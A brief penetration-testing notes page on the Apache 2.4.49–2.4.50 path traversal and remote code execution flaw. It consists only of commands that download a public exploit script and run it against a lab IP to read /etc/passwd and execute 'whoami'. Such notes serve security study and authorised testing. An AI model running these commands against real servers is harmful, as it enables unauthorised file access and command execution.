> For the complete documentation index, see [llms.txt](https://yigitsengezer.gitbook.io/siber-guvenlik-notlari/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yigitsengezer.gitbook.io/siber-guvenlik-notlari/network-service-pentesting/http-https-80-443/apache.md).

# Apache

### Apache 2.4.49 - 2.4.50 RCE Path Traversal

```bash
wget https://raw.githubusercontent.com/battleoverflow/apache-traversal/refs/heads/main/exploit.py

# 2.4.49
python exploit.py -v --ip 192.168.1.3 --port 80 --path "/etc/passwd"
python exploit.py -v --ip 192.168.1.3 --port 80 --cgi --path "/etc/passwd"
python exploit.py -v --ip 192.168.1.3 --port 80 --cgi --rce --cmd "whoami"

# 2.4.50
python exploit.py -v -s --ip 192.168.1.3 --port 80 --path "/etc/passwd" 
python exploit.py -v -s --ip 192.168.1.3 --port 80 --cgi --path "/etc/passwd"
python exploit.py -v -s --ip 192.168.1.3 --port 80 --cgi --rce --cmd "whoami" 
```